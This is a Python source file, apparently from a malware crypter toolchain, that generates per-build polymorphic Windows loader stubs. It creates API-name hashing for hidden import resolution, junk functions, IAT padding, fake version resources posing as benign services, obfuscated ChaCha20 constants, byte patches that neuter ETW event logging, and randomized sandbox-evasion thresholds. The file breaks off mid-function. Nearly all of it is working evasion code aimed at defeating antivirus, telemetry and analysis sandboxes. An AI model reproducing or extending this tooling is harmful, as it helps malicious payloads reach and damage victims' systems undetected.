#!/usr/bin/env python3
"""
generate_poly_stub.py - Polymorphic stub generator for per-build unique binaries.

Generates per build:
  1. stub_poly_hash.h        — Hash function (random algorithm) + 28 FH_* constants
  2. stub_poly_junk.c        — 40-80 random junk functions for code layout variation
  3. stub_poly_config.h      — Per-build config (magic, sections, charset, thresholds)
  4. stub_poly_metamorphic.h — Metamorphic function bodies
  5. stub_poly_iat.h         — IAT padding (12-20 benign API calls per build)
  6. stub_poly_padding.c/h   — Realistic .rdata padding (150-400KB per build)

Usage:
    python generate_poly_stub.py --outdir <directory>
"""

import argparse
import os
import random
import struct
import sys

# ---------------------------------------------------------------------------
# Hash algorithm implementations (must match C output exactly)
# ---------------------------------------------------------------------------

def djb2a_hash_narrow(s: str, seed: int) -> int:
    """DJB2a variant with custom seed, operating on ASCII bytes."""
    h = seed & 0xFFFFFFFF
    for c in s.encode('ascii'):
        h = (((h << 5) + h) ^ c) & 0xFFFFFFFF
    return h


def djb2a_hash_wide(s: str, seed: int) -> int:
    """DJB2a variant on raw UTF-16LE bytes with case folding (a-z -> A-Z)."""
    h = seed & 0xFFFFFFFF
    raw = s.encode('utf-16-le')
    for b in raw:
        c = b
        if 0x61 <= c <= 0x7A:
            c -= 0x20
        h = (((h << 5) + h) ^ c) & 0xFFFFFFFF
    return h


def fnv1a_hash_narrow(s: str) -> int:
    """FNV-1a 32-bit hash on ASCII bytes."""
    h = 0x811C9DC5
    for c in s.encode('ascii'):
        h = ((h ^ c) * 0x01000193) & 0xFFFFFFFF
    return h


def fnv1a_hash_wide(s: str) -> int:
    """FNV-1a 32-bit on raw UTF-16LE bytes with case folding."""
    h = 0x811C9DC5
    raw = s.encode('utf-16-le')
    for b in raw:
        c = b
        if 0x61 <= c <= 0x7A:
            c -= 0x20
        h = ((h ^ c) * 0x01000193) & 0xFFFFFFFF
    return h


def sdbm_hash_narrow(s: str, shift1: int, shift2: int) -> int:
    """SDBM hash variant with configurable shifts, on ASCII bytes."""
    h = 0
    for c in s.encode('ascii'):
        h = (c + (h << shift1) + (h << shift2) - h) & 0xFFFFFFFF
    return h


def sdbm_hash_wide(s: str, shift1: int, shift2: int) -> int:
    """SDBM variant on raw UTF-16LE bytes with case folding."""
    h = 0
    raw = s.encode('utf-16-le')
    for b in raw:
        c = b
        if 0x61 <= c <= 0x7A:
            c -= 0x20
        h = (c + (h << shift1) + (h << shift2) - h) & 0xFFFFFFFF
    return h


def rotating_xor_hash_narrow(s: str, shift1: int, shift2: int) -> int:
    """Rotating XOR hash with configurable shifts, on ASCII bytes."""
    h = 0
    for c in s.encode('ascii'):
        h = ((h << shift1) ^ (h >> shift2) ^ c) & 0xFFFFFFFF
    return h


def rotating_xor_hash_wide(s: str, shift1: int, shift2: int) -> int:
    """Rotating XOR on raw UTF-16LE bytes with case folding."""
    h = 0
    raw = s.encode('utf-16-le')
    for b in raw:
        c = b
        if 0x61 <= c <= 0x7A:
            c -= 0x20
        h = ((h << shift1) ^ (h >> shift2) ^ c) & 0xFFFFFFFF
    return h


def jenkins_hash_narrow(s: str) -> int:
    """Jenkins one-at-a-time hash on ASCII bytes."""
    h = 0
    for c in s.encode('ascii'):
        h = (h + c) & 0xFFFFFFFF
        h = (h + (h << 10)) & 0xFFFFFFFF
        h ^= (h >> 6)
    h = (h + (h << 3)) & 0xFFFFFFFF
    h ^= (h >> 11)
    h = (h + (h << 15)) & 0xFFFFFFFF
    return h


def jenkins_hash_wide(s: str) -> int:
    """Jenkins one-at-a-time on raw UTF-16LE bytes with case folding."""
    h = 0
    raw = s.encode('utf-16-le')
    for b in raw:
        c = b
        if 0x61 <= c <= 0x7A:
            c -= 0x20
        h = (h + c) & 0xFFFFFFFF
        h = (h + (h << 10)) & 0xFFFFFFFF
        h ^= (h >> 6)
    h = (h + (h << 3)) & 0xFFFFFFFF
    h ^= (h >> 11)
    h = (h + (h << 15)) & 0xFFFFFFFF
    return h


# ---------------------------------------------------------------------------
# Hash constant definitions (28 total)
# ---------------------------------------------------------------------------

# Wide hashes (module names — case-insensitive via byte-level folding)
WIDE_NAMES = [
    ("FH_KERNEL32", "KERNEL32.DLL"),
    ("FH_NTDLL",    "NTDLL.DLL"),
]

# Narrow hashes (function names — case-sensitive ASCII)
NARROW_NAMES = [
    ("FH_LoadLibraryA",             "LoadLibraryA"),
    ("FH_GetProcAddress",           "GetProcAddress"),
    ("FH_VirtualAlloc",             "VirtualAlloc"),
    ("FH_VirtualProtect",           "VirtualProtect"),
    ("FH_VirtualFree",              "VirtualFree"),
    ("FH_GetModuleHandleA",         "GetModuleHandleA"),
    ("FH_CreateFileA",              "CreateFileA"),
    ("FH_ReadFile",                 "ReadFile"),
    ("FH_GetFileSize",              "GetFileSize"),
    ("FH_CloseHandle",              "CloseHandle"),
    ("FH_GetSystemInfo",            "GetSystemInfo"),
    ("FH_GlobalMemoryStatusEx",     "GlobalMemoryStatusEx"),
    ("FH_GetDiskFreeSpaceExA",      "GetDiskFreeSpaceExA"),
    ("FH_Sleep",                    "Sleep"),
    ("FH_GetTickCount64",           "GetTickCount64"),
    ("FH_FindFirstFileA",           "FindFirstFileA"),
    ("FH_FindNextFileA",            "FindNextFileA"),
    ("FH_FindClose",                "FindClose"),
    ("FH_GetEnvironmentVariableA",  "GetEnvironmentVariableA"),
    ("FH_FlushInstructionCache",    "FlushInstructionCache"),
    ("FH_ExitProcess",              "ExitProcess"),
    ("FH_NtAllocateVirtualMemory",  "NtAllocateVirtualMemory"),
    ("FH_NtProtectVirtualMemory",   "NtProtectVirtualMemory"),
    ("FH_NtFreeVirtualMemory",      "NtFreeVirtualMemory"),
    ("FH_NtFlushInstructionCache",  "NtFlushInstructionCache"),
    ("FH_EtwEventWrite",            "EtwEventWrite"),
    ("FH_AmsiOpenSession",          "AmsiOpenSession"),
    ("FH_WriteFile",                "WriteFile"),
]


# ---------------------------------------------------------------------------
# Algorithm selection and C code generation
# ---------------------------------------------------------------------------

class HashAlgorithm:
    """Encapsulates a chosen hash algorithm with its parameters."""

    def __init__(self, name, narrow_fn, wide_fn, c_narrow, c_wide, params):
        self.name = name
        self.narrow_fn = narrow_fn
        self.wide_fn = wide_fn
        self.c_narrow = c_narrow      # C source for StubHash(const char*)
        self.c_wide = c_wide          # C source for StubHashW(const WCHAR*, USHORT)
        self.params = params


def make_djb2a():
    seed = random.randint(0x10000000, 0xFFFFFFFF)
    c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{
    DWORD h = 0x{seed:08X}u;
    while (*str) {{
        h = ((h << 5) + h) ^ (unsigned char)*str++;
    }}
    return h;
}}"""
    c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{
    DWORD h = 0x{seed:08X}u;
    const char *raw = (const char *)str;
    for (USHORT i = 0; i < lenBytes; i++) {{
        char c = raw[i];
        if (c >= 'a' && c <= 'z') c -= 0x20;
        h = ((h << 5) + h) ^ (unsigned char)c;
    }}
    return h;
}}"""
    return HashAlgorithm(
        name=f"DJB2a (seed 0x{seed:08X})",
        narrow_fn=lambda s: djb2a_hash_narrow(s, seed),
        wide_fn=lambda s: djb2a_hash_wide(s, seed),
        c_narrow=c_narrow,
        c_wide=c_wide,
        params={"seed": seed},
    )


def make_fnv1a():
    c_narrow = """static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {
    DWORD h = 0x811C9DC5u;
    while (*str) {
        h = (h ^ (unsigned char)*str++) * 0x01000193u;
    }
    return h;
}"""
    c_wide = """static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {
    DWORD h = 0x811C9DC5u;
    const char *raw = (const char *)str;
    for (USHORT i = 0; i < lenBytes; i++) {
        char c = raw[i];
        if (c >= 'a' && c <= 'z') c -= 0x20;
        h = (h ^ (unsigned char)c) * 0x01000193u;
    }
    return h;
}"""
    return HashAlgorithm(
        name="FNV-1a",
        narrow_fn=fnv1a_hash_narrow,
        wide_fn=fnv1a_hash_wide,
        c_narrow=c_narrow,
        c_wide=c_wide,
        params={},
    )


def make_sdbm():
    shift1 = random.choice([6, 7, 8])
    shift2 = random.choice([14, 15, 16])
    c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{
    DWORD h = 0;
    while (*str) {{
        h = (unsigned char)*str++ + (h << {shift1}) + (h << {shift2}) - h;
    }}
    return h;
}}"""
    c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{
    DWORD h = 0;
    const char *raw = (const char *)str;
    for (USHORT i = 0; i < lenBytes; i++) {{
        char c = raw[i];
        if (c >= 'a' && c <= 'z') c -= 0x20;
        h = (unsigned char)c + (h << {shift1}) + (h << {shift2}) - h;
    }}
    return h;
}}"""
    return HashAlgorithm(
        name=f"SDBM (shifts {shift1},{shift2})",
        narrow_fn=lambda s: sdbm_hash_narrow(s, shift1, shift2),
        wide_fn=lambda s: sdbm_hash_wide(s, shift1, shift2),
        c_narrow=c_narrow,
        c_wide=c_wide,
        params={"shift1": shift1, "shift2": shift2},
    )


def make_rotating_xor():
    shift1 = random.choice([4, 5, 6, 7])
    shift2 = random.choice([24, 25, 27, 28])
    c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{
    DWORD h = 0;
    while (*str) {{
        h = (h << {shift1}) ^ (h >> {shift2}) ^ (unsigned char)*str++;
    }}
    return h;
}}"""
    c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{
    DWORD h = 0;
    const char *raw = (const char *)str;
    for (USHORT i = 0; i < lenBytes; i++) {{
        char c = raw[i];
        if (c >= 'a' && c <= 'z') c -= 0x20;
        h = (h << {shift1}) ^ (h >> {shift2}) ^ (unsigned char)c;
    }}
    return h;
}}"""
    return HashAlgorithm(
        name=f"Rotating-XOR (shifts {shift1},{shift2})",
        narrow_fn=lambda s: rotating_xor_hash_narrow(s, shift1, shift2),
        wide_fn=lambda s: rotating_xor_hash_wide(s, shift1, shift2),
        c_narrow=c_narrow,
        c_wide=c_wide,
        params={"shift1": shift1, "shift2": shift2},
    )


def make_jenkins():
    c_narrow = """static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {
    DWORD h = 0;
    while (*str) {
        h += (unsigned char)*str++;
        h += h << 10;
        h ^= h >> 6;
    }
    h += h << 3;
    h ^= h >> 11;
    h += h << 15;
    return h;
}"""
    c_wide = """static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {
    DWORD h = 0;
    const char *raw = (const char *)str;
    for (USHORT i = 0; i < lenBytes; i++) {
        char c = raw[i];
        if (c >= 'a' && c <= 'z') c -= 0x20;
        h += (unsigned char)c;
        h += h << 10;
        h ^= h >> 6;
    }
    h += h << 3;
    h ^= h >> 11;
    h += h << 15;
    return h;
}"""
    return HashAlgorithm(
        name="Jenkins",
        narrow_fn=jenkins_hash_narrow,
        wide_fn=jenkins_hash_wide,
        c_narrow=c_narrow,
        c_wide=c_wide,
        params={},
    )


# ---------------------------------------------------------------------------
# VERSIONINFO randomization pools
# ---------------------------------------------------------------------------

VERSIONINFO_IDENTITIES = [
    ("AppHelper",      "Application Helper Service",          "AppHelper.exe",      "Contoso Ltd."),
    ("UpdateAgent",    "Automatic Update Agent",              "UpdateAgent.exe",    "Fabrikam Inc."),
    ("SyncService",    "Data Synchronization Service",        "SyncService.exe",    "Woodgrove Systems"),
    ("NetMonitor",     "Network Monitor Utility",             "NetMonitor.exe",     "Northwind Software"),
    ("CacheManager",   "Cache Management Service",            "CacheManager.exe",   "Litware Inc."),
    ("PerfOptimizer",  "Performance Optimization Tool",       "PerfOptimizer.exe",  "Proseware Inc."),
    ("TaskScheduler",  "Scheduled Task Runner",               "TaskRunner.exe",     "Adatum Corporation"),
    ("IndexHelper",    "Index Maintenance Helper",            "IndexHelper.exe",    "Adventure Works"),
    ("DiagService",    "Diagnostic Collection Service",       "DiagService.exe",    "Trey Research"),
    ("EventLogger",    "Event Logging Service",               "EventLogger.exe",    "Consolidated Messenger"),
    ("StorageUtil",    "Storage Optimization Utility",        "StorageUtil.exe",    "Contoso Ltd."),
    ("HealthCheck",    "System Health Monitor",               "HealthCheck.exe",    "Fabrikam Inc."),
    ("ConfigHost",     "Configuration Host Process",          "ConfigHost.exe",     "Woodgrove Systems"),
    ("ServiceAgent",   "Background Service Agent",            "ServiceAgent.exe",   "Northwind Software"),
    ("NotifyService",  "Notification Delivery Service",       "NotifyService.exe",  "Litware Inc."),
]

WINDOWS_BUILDS = [
    (10, 0, 19041),   # Win10 2004
    (10, 0, 19042),   # Win10 20H2
    (10, 0, 19043),   # Win10 21H1
    (10, 0, 19044),   # Win10 21H2
    (10, 0, 19045),   # Win10 22H2
    (10, 0, 22621),   # Win11 22H2
    (10, 0, 22631),   # Win11 23H2
    (10, 0, 26100),   # Win11 24H2
]


def generate_versioninfo(outdir, tools_dir):
    """Generate stub_versioninfo.rc + stub_manifest.manifest with randomized identity."""
    internal, description, original_filename, company = random.choice(VERSIONINFO_IDENTITIES)
    major, minor, build = random.choice(WINDOWS_BUILDS)
    patch = random.randint(1, 3999)

    ver_str = f"{major}.{minor}.{build}.{patch}"
    ver_csv = f"{major},{minor},{build},{patch}"

    # Generate RC file
    rc_lines = [
        '#include <winver.h>',
        '',
        '// Icon',
        '1 ICON "zerin_stub.ico"',
        '',
        '// Version Info',
        'VS_VERSION_INFO VERSIONINFO',
        f'FILEVERSION    {ver_csv}',
        f'PRODUCTVERSION {ver_csv}',
        'FILEFLAGSMASK  VS_FFI_FILEFLAGSMASK',
        'FILEFLAGS      0',
        'FILEOS         VOS_NT_WINDOWS32',
        'FILETYPE       VFT_APP',
        'BEGIN',
        '    BLOCK "StringFileInfo"',
        '    BEGIN',
        '        BLOCK "040904B0"',
        '        BEGIN',
        f'            VALUE "CompanyName",      "{company}"',
        f'            VALUE "FileDescription",  "{description}"',
        f'            VALUE "FileVersion",      "{ver_str}"',
        f'            VALUE "InternalName",     "{internal}"',
        f'            VALUE "LegalCopyright",   "Copyright (C) {random.choice([2022, 2023, 2024, 2025])} {company}. All rights reserved."',
        f'            VALUE "OriginalFilename", "{original_filename}"',
        f'            VALUE "ProductName",      "{description}"',
        f'            VALUE "ProductVersion",   "{ver_str}"',
        '        END',
        '    END',
        '    BLOCK "VarFileInfo"',
        '    BEGIN',
        '        VALUE "Translation", 0x0409, 1200',
        '    END',
        'END',
        '',
        '// Manifest',
        '1 24 "stub_manifest.manifest"',
        '',
    ]

    rc_path = os.path.join(outdir, "stub_versioninfo.rc")
    with open(rc_path, "w", newline="\n") as f:
        f.write("\n".join(rc_lines))

    # Generate manifest file
    manifest_lines = [
        '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>',
        '<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">',
        f'  <assemblyIdentity type="win32" name="{company.split()[0]}.{internal}"',
        f'    version="{ver_str}" processorArchitecture="amd64"/>',
        '  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">',
        '    <security>',
        '      <requestedPrivileges>',
        '        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>',
        '      </requestedPrivileges>',
        '    </security>',
        '  </trustInfo>',
        '  <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">',
        '    <application>',
        '      <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>',
        '      <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>',
        '      <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>',
        '      <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>',
        '      <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>',
        '    </application>',
        '  </compatibility>',
        '</assembly>',
        '',
    ]

    manifest_path = os.path.join(outdir, "stub_manifest.manifest")
    with open(manifest_path, "w", newline="\n") as f:
        f.write("\n".join(manifest_lines))

    # Copy icon from tools directory if it exists
    import shutil
    icon_src = os.path.join(tools_dir, "zerin_stub.ico")
    icon_dst = os.path.join(outdir, "zerin_stub.ico")
    if os.path.isfile(icon_src) and not os.path.isfile(icon_dst):
        shutil.copy2(icon_src, icon_dst)

    return internal, ver_str


ALGORITHM_FACTORIES = [make_djb2a, make_fnv1a, make_sdbm, make_rotating_xor, make_jenkins]


def pick_algorithm() -> HashAlgorithm:
    factory = random.choice(ALGORITHM_FACTORIES)
    return factory()


def compute_constants(algo: HashAlgorithm, max_retries: int = 50) -> dict:
    """Compute all 28 FH_* constants with collision detection + retry."""
    for attempt in range(max_retries):
        values = {}
        collision = False

        for define_name, api_name in WIDE_NAMES:
            values[define_name] = algo.wide_fn(api_name)

        for define_name, api_name in NARROW_NAMES:
            values[define_name] = algo.narrow_fn(api_name)

        # Check for collisions
        seen = {}
        for name, val in values.items():
            if val in seen:
                collision = True
                break
            seen[val] = name

        if not collision:
            return values

        # Retry with a fresh algorithm instance (new random params)
        algo = pick_algorithm()

    raise RuntimeError(f"Failed to find collision-free hash constants after {max_retries} attempts")


# ---------------------------------------------------------------------------
# stub_poly_hash.h generation
# ---------------------------------------------------------------------------

def generate_hash_header(algo: HashAlgorithm, constants: dict) -> str:
    lines = []
    lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
    lines.append(f"/* Algorithm: {algo.name} */")
    lines.append("#ifndef STUB_POLY_HASH_H")
    lines.append("#define STUB_POLY_HASH_H")
    lines.append("")
    lines.append("#include <windows.h>")
    lines.append("")

    # Hash functions
    lines.append(algo.c_narrow)
    lines.append("")
    lines.append(algo.c_wide)
    lines.append("")

    # Constants
    lines.append("/* Pre-computed hash constants */")
    for define_name, _ in WIDE_NAMES:
        lines.append(f"#define {define_name:<36s} 0x{constants[define_name]:08X}u")

    lines.append("")
    for define_name, _ in NARROW_NAMES:
        lines.append(f"#define {define_name:<36s} 0x{constants[define_name]:08X}u")

    lines.append("")
    lines.append("#endif /* STUB_POLY_HASH_H */")
    lines.append("")
    return "\n".join(lines)


# ---------------------------------------------------------------------------
# stub_poly_junk.c generation
# ---------------------------------------------------------------------------

def random_hex_name() -> str:
    return f"poly_stub_fn_{random.randint(0, 0xFFFFFFFF):08x}"


def gen_arithmetic_chain(depth: int) -> list:
    """Generate an arithmetic computation chain."""
    lines = []
    lines.append("    unsigned int r = a;")
    for _ in range(depth):
        op = random.choice(["+", "^", "-", "*"])
        val = random.randint(1, 0xFFFF)
        lines.append(f"    r = (r {op} 0x{val:X}u);")
    lines.append("    return r;")
    return lines


def gen_bitwise_rotation(depth: int) -> list:
    """Generate bitwise rotation operations."""
    lines = []
    lines.append("    unsigned int r = a;")
    for _ in range(depth):
        shift = random.randint(1, 31)
        if random.random() < 0.5:
            lines.append(f"    r = (r << {shift}) | (r >> (32 - {shift}));")
        else:
            lines.append(f"    r = (r >> {shift}) | (r << (32 - {shift}));")
        val = random.randint(1, 0xFFFF)
        lines.append(f"    r ^= 0x{val:X}u;")
    lines.append("    return r;")
    return lines


def gen_array_computation() -> list:
    """Generate an array-based computation."""
    lines = []
    size = random.randint(4, 8)
    vals = [random.randint(0, 0xFF) for _ in range(size)]
    vals_str = ", ".join(f"0x{v:02X}" for v in vals)
    lines.append(f"    static const unsigned char tbl[] = {{ {vals_str} }};")
    lines.append(f"    unsigned int r = a;")
    lines.append(f"    for (int i = 0; i < {size}; i++) {{")
    lines.append(f"        r = (r * 31u) ^ tbl[i];")
    lines.append(f"    }}")
    lines.append(f"    return r;")
    return lines


def gen_short_loop() -> list:
    """Generate a short loop computation."""
    lines = []
    count = random.randint(3, 12)
    lines.append("    unsigned int r = a;")
    lines.append(f"    for (int i = 0; i < {count}; i++) {{")
    op = random.choice(["^=", "+=", "-="])
    shift = random.randint(1, 15)
    lines.append(f"        r {op} (r >> {shift}) + (unsigned int)i;")
    lines.append("    }")
    lines.append("    return r;")
    return lines


def generate_junk_functions(count: int) -> str:
    """Generate stub_poly_junk.c with `count` junk functions."""
    lines = []
    lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
    lines.append("#include <windows.h>")
    lines.append("")
    lines.append("volatile unsigned int g_poly_stub_state = 0;")
    lines.append("")

    func_names = []
    func_defs = []

    for i in range(count):
        name = random_hex_name()
        func_names.append(name)

        param_list = "unsigned int a"

        # Pick a body type (cross-function calls handled separately below)
        body_type = random.randint(0, 3)
        if body_type == 0:
            body_lines = gen_arithmetic_chain(random.randint(3, 8))
        elif body_type == 1:
            body_lines = gen_bitwise_rotation(random.randint(2, 5))
        elif body_type == 2:
            body_lines = gen_array_computation()
        else:
            body_lines = gen_short_loop()

        func_defs.append((name, param_list, body_lines))

    # Add cross-function call bodies for ~20% of functions (after first few are defined)
    for i in range(len(func_defs)):
        if i >= 3 and random.random() < 0.2:
            name, param_list, _ = func_defs[i]
            target_idx = random.randint(0, i - 1)
            target_name = func_names[target_idx]
            new_body = []
            new_body.append(f"    unsigned int r = {target_name}(a);")
            val = random.randint(1, 0xFFFF)
            new_body.append(f"    r ^= 0x{val:X}u;")
            new_body.append("    return r;")
            func_defs[i] = (name, param_list, new_body)

    # Emit forward declarations
    for name, param_list, _ in func_defs:
        lines.append(f"static unsigned int {name}({param_list});")
    lines.append("")

    # Emit function definitions
    for name, param_list, body_lines in func_defs:
        lines.append(f"static unsigned int {name}({param_list}) {{")
        lines.extend(body_lines)
        lines.append("}")
        lines.append("")

    # Emit poly_stub_init() that chains all functions
    lines.append("void poly_stub_init(void) {")
    lines.append("    unsigned int s = 0x{:08X}u;".format(random.randint(0, 0xFFFFFFFF)))
    for name in func_names:
        lines.append(f"    s = {name}(s);")
    lines.append("    g_poly_stub_state = s;")
    lines.append("}")
    lines.append("")

    return "\n".join(lines)


# ---------------------------------------------------------------------------
# Per-build config generation (shared between stub + crypter)
# ---------------------------------------------------------------------------

# Legitimate-looking PE section name pools (24 entries each)
CFG_SECTION_POOL = [".mrdata", ".voltbl", ".didat", ".00cfg", ".gxfg",
                    ".gehcont", ".retplne", ".idata", ".msvcjmc", ".gfids",
                    ".textbss", ".xcpt", ".minATL", ".tls", ".xdata",
                    ".edata", ".reloc", ".pdata", ".wixburn", ".cormeta",
                    ".gfguard", ".cfguard", ".retpol", ".mrfld"]
PAY_SECTION_POOL = [".rsrc1", ".shared", ".sxdata", ".rdata2",
                    ".data2", ".xdata1", ".tls1", ".orpc", ".rsrc2",
                    ".vladata", ".bss1", ".rodata", ".data3", ".rdata3",
                    ".xdata2", ".idata2", ".crt", ".drectve", ".data1",
                    ".npad", ".crthunk", ".rtc", ".tdata", ".prel"]


def _random_section_name():
    """Generate a random section name: '.' + 4-6 lowercase letters."""
    length = random.randint(4, 6)
    return "." + "".join(random.choice("abcdefghijklmnopqrstuvwxyz") for _ in range(length))

# Base English character frequency distribution (will be shuffled)
BASE_CHARSET_CHARS = (
    " " * 10 +
    "e" * 10 + "t" * 10 + "a" * 8 + "o" * 8 + "i" * 8 +
    "n" * 8 + "s" * 8 + "h" * 8 + "r" * 8 + "d" * 6 +
    "l" * 6 + "c" * 6 + "u" * 6 + "m" * 6 + "w" * 6 +
    "f" * 5 + "g" * 5 + "y" * 5 + "p" * 5 + "b" * 5 +
    "v" * 4 + "k" * 4 + "j" * 2 + "x" * 2 + "q" * 2 + "z" * 2 +
    "E" * 4 + "T" * 4 + "A" * 4 + "O" * 4 + "I" * 4 +
    "N" * 4 + "S" * 4 + "H" * 4 + "R" * 4 + "D" * 4 +
    "L" * 4 + "C" * 4 + "U" * 4 + "M" * 4 + "W" * 4 +
    "," * 3 + "." * 3 + ";" * 2 + ":" * 2 + "!" * 1 + "?" * 1 +
    "'" * 1 + '"' * 1 + "(" * 1 + ")" * 1 + " " * 2
)


def generate_shuffled_charset() -> str:
    """Generate a unique shuffled entropy charset per build."""
    chars = list(BASE_CHARSET_CHARS)
    random.shuffle(chars)
    return "".join(chars)


def generate_chacha_init_code() -> tuple:
    """Generate obfuscated ChaCha20 constant initialization.

    Instead of literal 0x61707865 etc., compute them via arithmetic
    from random intermediate values. Returns (code_lines, state_var_name).
    """
    # The four ChaCha20 constants (RFC 8439 "expand 32-byte k")
    constants = [0x61707865, 0x3320646e, 0x79622d32, 0x6b206574]
    lines = []
    for i, val in enumerate(constants):
        # Pick random addend/xor values that produce the constant
        method = random.randint(0, 2)
        if method == 0:
            # XOR method: a ^ b = val
            a = random.randint(0, 0xFFFFFFFF)
            b = a ^ val
            lines.append(f"    state[{i}] = 0x{a:08X}u ^ 0x{b:08X}u;")
        elif method == 1:
            # ADD method: a + b = val (mod 2^32)
            a = random.randint(0, 0xFFFFFFFF)
            b = (val - a) & 0xFFFFFFFF
            lines.append(f"    state[{i}] = 0x{a:08X}u + 0x{b:08X}u;")
        else:
            # SUB method: a - b = val (mod 2^32)
            b = random.randint(0, 0xFFFFFFFF)
            a = (val + b) & 0xFFFFFFFF
            lines.append(f"    state[{i}] = 0x{a:08X}u - 0x{b:08X}u;")
    return lines


def generate_etw_patch_code() -> tuple:
    """Generate a random multi-byte ETW patch sequence.

    Returns (patch_bytes_hex, patch_size) for a sequence that
    effectively makes the function return 0 (STATUS_SUCCESS).
    """
    # Various ways to make a function return 0 immediately
    patches = [
        # xor eax, eax; ret
        ([0x31, 0xC0, 0xC3], 3),
        # xor eax, eax; ret (alternate encoding)
        ([0x33, 0xC0, 0xC3], 3),
        # push 0; pop rax; ret
        ([0x6A, 0x00, 0x58, 0xC3], 4),
        # mov eax, 0; ret
        ([0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], 6),
        # xor eax, eax; nop; ret
        ([0x31, 0xC0, 0x90, 0xC3], 4),
        # sub eax, eax; ret
        ([0x29, 0xC0, 0xC3], 3),
    ]
    return random.choice(patches)


def generate_stub_config_header(magic, cfg_section, pay_section, charset,
                                 chacha_init_lines, etw_patch, etw_size,
                                 sb_min_cpu, sb_min_ram_gb, sb_min_disk_gb,
                                 sb_sleep_ms, sb_sleep_min_ms, sb_min_recent,
                                 lcg_mult, lcg_inc, lcg_shift) -> str:
    """Generate stub_poly_config.h shared by stub template and crypter."""
    # Escape charset for C string literal (handle special chars)
    escaped = ""
    for ch in charset:
        if ch == '"':
            escaped += '\\"'
        elif ch == '\\':
            escaped += '\\\\'
        elif ch == '\n':
            escaped += '\\n'
        elif ord(ch) < 32 or ord(ch) > 126:
            escaped += f'\\x{ord(ch):02x}'
        else:
            escaped += ch

    # Split charset into chunks for readable C array
    # Avoid splitting in the middle of escape sequences (e.g. \" or \\)
    chunk_size = 60
    charset_chunks = []
    pos = 0
    while pos < len(escaped):
        end = min(pos + chunk_size, len(escaped))
        # Don't split right after a backslash (it would escape the closing quote)
        while end < len(escaped) and end > pos and escaped[end - 1] == '\\':
            end -= 1
        if end == pos:  # degenerate case: chunk is all backslashes
            end = min(pos + chunk_size + 1, len(escaped))
        charset_chunks.append(f'    "{escaped[pos:end]}"')
        pos = end

    lines = []
    lines.append("/* Auto-generated by generate_poly_stub.py - DO NOT EDIT */")
    lines.append("#ifndef STUB_POLY_CONFIG_H")
    lines.append("#define STUB_POLY_CONFIG_H")
    lines.append("")
    lines.append(f"#define STUB_CONFIG_MAGIC      0x{magic:08X}u")
    lines.append(f'#define STUB_CFG_SECTION       "{cfg_section}"')
    lines.append(f'#define STUB_PAY_SECTION       "{pay_section}"')
    lines.append("")
    lines.append("/* Per-build shuffled entropy charset */")
    lines.append(f"#define STUB_ENTROPY_CHARSET_LEN {len(charset)}")
    lines.append("static const char STUB_ENTROPY_CHARSET[] =")
    lines.append("\n".join(charset_chunks) + ";")
    lines.append("")
    lines.append("/* ChaCha20 obfuscated state initialization */")
    lines.append("#define CHACHA_INIT_STATE(state) do { \\")
    for cl in chacha_init_lines:
        lines.append(f"{cl} \\")
    lines.append("} while(0)")
    lines.append("")
    lines.append("/* ETW multi-byte patch */")
    etw_bytes_str = ", ".join(f"0x{b:02X}" for b in etw_patch)
    lines.append(f"static const unsigned char STUB_ETW_PATCH[] = {{ {etw_bytes_str} }};")
    lines.append(f"#define STUB_ETW_PATCH_SIZE {etw_size}")
    lines.append("")
    lines.append("/* Randomized sandbox thresholds */")
    lines.append(f"#define SB_MIN_CPU          {sb_min_cpu}")
    lines.append(f"#define SB_MIN_RAM_GB       {sb_min_ram_gb}")
    lines.append(f"#define SB_MIN_DISK_GB      {sb_min_disk_gb}")
    lines.append(f"#define SB_SLEEP_MS         {sb_sleep_ms}")
    lines.append(f"#define SB_SLEEP_MIN_MS     {sb_sleep_min_ms}")
    lines.append(f"#define SB_MIN_RECENT       {sb_min_recent}")
    lines.append("")
    lines.append("/* Per-build LCG parameters for entropy pad generation */")
    lines.append(f"#define STUB_LCG_MULT   0x{lcg_mult:08X}u")
    lines.append(f"#define STUB_LCG_INC    0x{lcg_inc:04X}u")
    lines.append(f"#define STUB_LCG_SHIFT  {lcg_shift}")
    lines.append("")
    lines.append("#endif /* STUB_POLY_CONFIG_H */")
    lines.append("")
    return "\n".join(lines)


# ---------------------------------------------------------------------------
# Metamorphic transform generators
# ---------------------------------------------------------------------------

def gen_meta_entropy_pad(lcg_mult, lcg_inc, lcg_shift):
    """Generate metamorphic generate_entropy_pad with per-build LCG params.

    Also randomly selects loop unrolling factor (1x, 2x, or 4x).
    """
    unroll = random.choice([1, 2, 4])

    lines = []
    lines.append("static void generate_entropy_pad(uint32_t seed, uint8_t *pad, uint32_t pad_size) {")
    lines.append("    uint32_t state = seed;")
    lines.append("    uint32_t charset_len = STUB_ENTROPY_CHARSET_LEN;")

    if unroll == 1:
        lines.append("    for (uint32_t i = 0; i < pad_size; i++) {")
